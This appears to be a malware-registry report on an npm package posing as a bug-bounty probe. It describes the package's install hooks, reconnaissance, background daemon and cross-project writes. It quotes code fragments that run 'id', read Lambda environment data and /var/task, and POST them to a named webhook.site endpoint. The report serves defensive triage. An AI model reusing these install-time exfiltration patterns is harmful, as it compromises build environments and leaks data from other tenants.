registry / Malware / twilio-hackerone-poc-afe6937c

twilio-hackerone-poc-afe6937c

Authorized bug-bounty research probe; no longer in use. Do not install.

Authorized Twilio HackerOne bug bounty research probe. Observation only. Delete after triage.

This report shows the evidence for twilio-hackerone-poc-afe6937c@1.0.4. 5 of 5 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is concrete, unconsented install-time reconnaissance, exfiltration, persistence, and cross-project mutation. The path guard limits targeting but does not make the behavior benign.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review

Trigger

npm preinstall or postinstall in a matching /tmp/AC… build path

Impact

Exposure of build/runtime metadata, ongoing background activity, and unauthorized modification of discovered project node_modules.

Mechanism

install-time reconnaissance, HTTPS exfiltration, detached daemon persistence, and cross-project writes

Attack narrative

Installing the package in its targeted build path runs probe.js before and after installation. It collects runtime and process context, sends it to a webhook, copies and detaches daemon.js in /tmp, and records its PID. The daemon scans neighboring tenant-like build directories, reports discoveries, and creates a marker package inside selected projects’ node_modules.

AI rationale

This is concrete, unconsented install-time reconnaissance, exfiltration, persistence, and cross-project mutation. The path guard limits targeting but does not make the behavior benign.

Evidence

package.jsonprobe.jsdaemon.jshook.txt/tmp/.h1poc.self/tmp/.h1poc-daemon.js/tmp/.h1poc.pid/tmp/.h1poc.vernode_modules/h1-poc-marker

Network endpoints1

webhook.site/b520829e-516a-45ff-980c-173aa54fc4bc

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

preinstall and postinstall execute probe.js automatically.
probe collects process, environment, task-directory, and parent-command data then POSTs it.
probe installs a detached daemon in /tmp and records its PID.
daemon enumerates other tenant-style /tmp directories and reports them remotely.
daemon writes a marker package into selected discovered projects.

Evidence against

probe exits outside a narrowly matched /tmp path, but its targeted install-time behavior remains harmful.

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemNetworkShell

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 4.89 KB of source, external domains: webhook.site

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

daemon.jsView file

44setTimeout(()=>{post({event:'daemon-exit',ticks:state.ticks,seen:Object.keys(state.seen).length});process.exit(0);},15*60*1000); L45: let _id='';try{_id=require('child_process').execSync('id',{timeout:4000}).toString().trim();}catch(e){_id=''+e;} L46: let _cw='';try{_cw=require('fs').readFileSync('/proc/self/cwd'+'','utf8');}catch(e){}

High

Child Process

Package source references child process execution.

daemon.jsView on unpkg · L44

•matchType = normalized_sha256 matchedPackage = twilio-hackerone-poc-afe6937c@1.0.3 matchedPath = daemon.js matchedIdentity = npm:[redacted]:1.0.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

daemon.jsView on unpkg

probe.jsView file

1const fs=require('fs'), cp=require('child_process'), https=require('https'); L2: const HOOK_FILE=__dirname+'/hook.txt'; ... L11: const info={event:'exec-proof',cwd:cwd,id:id,ppid:process.ppid, L12: logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null, L13: task:(function(){try{return fs.readdirSync('/var/task').slice(0,12);}catch(e){return ''+e;}})(),

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

probe.jsView on unpkg · L1

1Cross-file remote execution chain: probe.js spawns daemon.js; helper contains network access plus dynamic code execution. L1: const fs=require('fs'), cp=require('child_process'), https=require('https'); L2: const HOOK_FILE=__dirname+'/hook.txt'; L3: function main(){ ... L11: const info={event:'exec-proof',cwd:cwd,id:id,ppid:process.ppid, L12: logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null, L13: task:(function(){try{return fs.readdirSync('/var/task').slice(0,12);}catch(e){return ''+e;}})(), ... L15: at:Date.now()}; L16: try{const b=JSON.stringify(info);const r=https.request(hook,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r... L17: // spawn/refresh the observation daemon

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

probe.jsView on unpkg · L1

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

daemon.jsView file

Findings

6 High5 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processdaemon.js

HighShell

HighSame File Env Network Executionprobe.js

HighCross File Remote Execution Contextprobe.js

HighKnown Malware Source Similaritydaemon.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to twilio-hackerone-poc-afe6937c@1.0.4.

The versions list below shows the verdict for each recorded version.

Avoid installing twilio-hackerone-poc-afe6937c@1.0.4. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-15 16:15:12.515Z (UTC).

Source advisory published: 2026-08-15 15:57:00.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

5 known versions

1.0.4latestshownMaliciousMalwareBlockPublishedAug 14, 2026, 7:55 PM 1.0.3MaliciousData ExfiltrationBlockPublishedAug 14, 2026, 7:49 PM 1.0.2MaliciousMalwareBlockPublishedAug 14, 2026, 7:46 PM 1.0.1MaliciousMalwareBlockPublished

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Related packages

Other malware packages

Source & flagged code